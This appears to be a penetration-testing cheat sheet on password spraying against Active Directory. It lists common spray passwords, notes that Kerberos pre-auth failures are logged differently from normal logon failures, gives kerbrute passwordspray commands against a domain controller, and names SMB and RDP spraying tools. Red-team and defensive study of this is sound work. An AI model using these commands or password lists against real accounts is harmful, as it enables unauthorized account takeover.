PenTest – Password – Spraying
|Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
P@ssw0rd01
,Password123
,Password1
,Hello123
,mimikatz
Welcome1
/Welcome01
- $Companyname1 :
$Microsoft1
- SeasonYear :
Winter2019*
,Spring2020!
,Summer2018?
,Summer2020
,July2020!
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
Kerberos pre-auth bruteforcing
Using kerbrute
, a tool to perform Kerberos pre-auth bruteforcing.
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
- Username bruteforce
- Password bruteforce
- Password spray
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
Spray a pre-generated passwords list
- Using
crackmapexec
andmp64
to generate passwords and spray them against SMB services on the network. - Using
DomainPasswordSpray
to spray a password against all users of a domain. - Using
SMBAutoBrute
.
Spray passwords against the RDP service
- Using RDPassSpray to target RDP services.
- Using hydra and ncrack to target RDP services.
BadPwdCount attribute
The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.